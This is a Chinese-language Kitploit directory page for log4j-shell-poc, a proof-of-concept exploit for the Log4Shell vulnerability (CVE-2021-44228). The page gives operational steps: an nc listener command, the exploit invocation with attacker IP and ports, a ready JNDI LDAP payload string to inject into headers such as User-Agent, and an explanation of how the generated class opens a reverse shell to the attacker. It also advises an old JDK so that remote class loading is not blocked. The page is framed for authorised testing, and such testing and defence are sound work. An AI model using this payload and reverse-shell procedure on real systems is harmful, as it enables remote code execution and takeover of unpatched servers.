Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4j-shell-poc — CVE-2021-44228 漏洞的概念验证。 | Kitploit
工具/GitHubGitHub/jiahong-guan/log4j-shell-poc
Payload生成漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubjiahong-guan/log4j-shell-poc

log4j-shell-poc

CVE-2021-44228 漏洞的概念验证。

查看仓库
161个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

log4shell-poc(CVE-2021-44228)

针对Log4j漏洞(CVE-2021-44228)的概念验证(PoC)利用工具,该漏洞也被称为Log4Shell。该工具会生成一个恶意Java类,启动LDAP引用服务器,并通过HTTP提供payload,使远程攻击者能够在易受攻击的目标上执行任意命令。

功能特性

  • 自动检测本地IPv4地址作为默认绑定IP。
  • 内置JDK 1.8.0_20支持(推荐),并回退到系统Java。
  • 内联反弹shell payload(回连到netcat监听器)。
  • 干净的编译与生成文件清理。

环境要求

  • Python 3.6 或更高版本
  • 以下文件/目录必须与 poc.py 位于同一文件夹中:
    • jdk1.8.0_20/ – Oracle JDK 1.8.0_20 的副本(包含 bin/javac 和 bin/java)。如果缺失,脚本将尝试使用系统的 javac 和 java 命令。
    • target/marshalsec-0.0.3-SNAPSHOT-all.jar – 用于启动LDAP服务器的 marshalsec JAR文件。

安装

  1. 克隆或下载此仓库。
  2. 按上述说明放置 jdk1.8.0_20 文件夹和 marshalsec JAR。
  3. 安装Python依赖:
    root@kitploit:~
    pip install -r requirements.txt
    

用法

使用Python运行脚本:

root@kitploit:~
python3 poc.py [OPTIONS]

命令行参数

示例

  1. 在你的攻击机上启动netcat监听器(将 9001 替换为你选择的端口):

    root@kitploit:~
    nc -lvnp 9001
    
  2. 运行exploit:

    root@kitploit:~
    python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
    

    如果省略 --userip,脚本将自动使用你机器的主IPv4地址。

  3. 脚本将显示一条用于注入到易受攻击目标的payload字符串,例如:

    root@kitploit:~
    ${jndi:ldap://192.168.1.10:1389/a}
    
  4. 将此字符串注入到易受攻击的Log4j实例会记录的任何输入字段或HTTP头中(例如 User-Agent、X-Forwarded-For 等)。目标将连接到LDAP服务器,从HTTP服务器获取恶意类,并执行反弹shell。

  5. 你应该会在netcat监听器中看到shell连接出现。

工作原理

  1. 脚本生成包含打开到 userip:lport 的反弹shell代码的 Exploit.java。
  2. 使用提供的JDK(或系统 javac)编译该文件。
  3. 启动一个LDAP服务器(通过marshalsec),该服务器以对HTTP服务器的引用响应JNDI查找。
  4. 在 webport 上启动一个简单的HTTP服务器,以托管已编译的 Exploit.class。
  5. 当易受攻击的目标使用注入的payload执行JNDI查找时,它会下载并执行该类,从而使攻击者获得反弹shell。

重要说明

  • 反弹shell payload使用 /bin/sh,适用于类Unix目标系统。对于Windows目标,你需要修改 Exploit.java 中的命令。
  • 建议使用内置的JDK 1.8.0_20,因为更高版本可能会阻止此exploit所使用的JNDI远程类加载功能。
  • 确保防火墙允许指定端口(webport 和 lport)上的入站连接,并且目标能够访问你的机器。

清理

脚本在退出时(无论是正常结束还是KeyboardInterrupt之后)会自动删除 Exploit.java 和 Exploit.class。如果需要保留这些文件进行调试,请注释掉 poc.py 中的 finally 代码块。

免责声明

此工具仅用于教育和授权安全测试目的。在你不拥有或未经明确许可测试的系统上未经授权使用此exploit是违法的。作者不对因使用本软件而造成的任何误用或损害负责。

致谢

  • 原始PoC作者:kozmer
  • Marshalsec作者:mbechler
  • Log4j漏洞由阿里云安全团队发现
下载工具
ArgumentTypeDefaultDescription
--useripstringauto-detected IPv4LDAP和HTTP服务器将绑定并通告的IP地址。目标机器必须能够访问该地址。
--webportinteger8000用于提供已编译的 Exploit.class 的HTTP服务器端口。
--lportinteger9001你的netcat监听器等待反弹shell的端口。payload将回连到 userip:lport。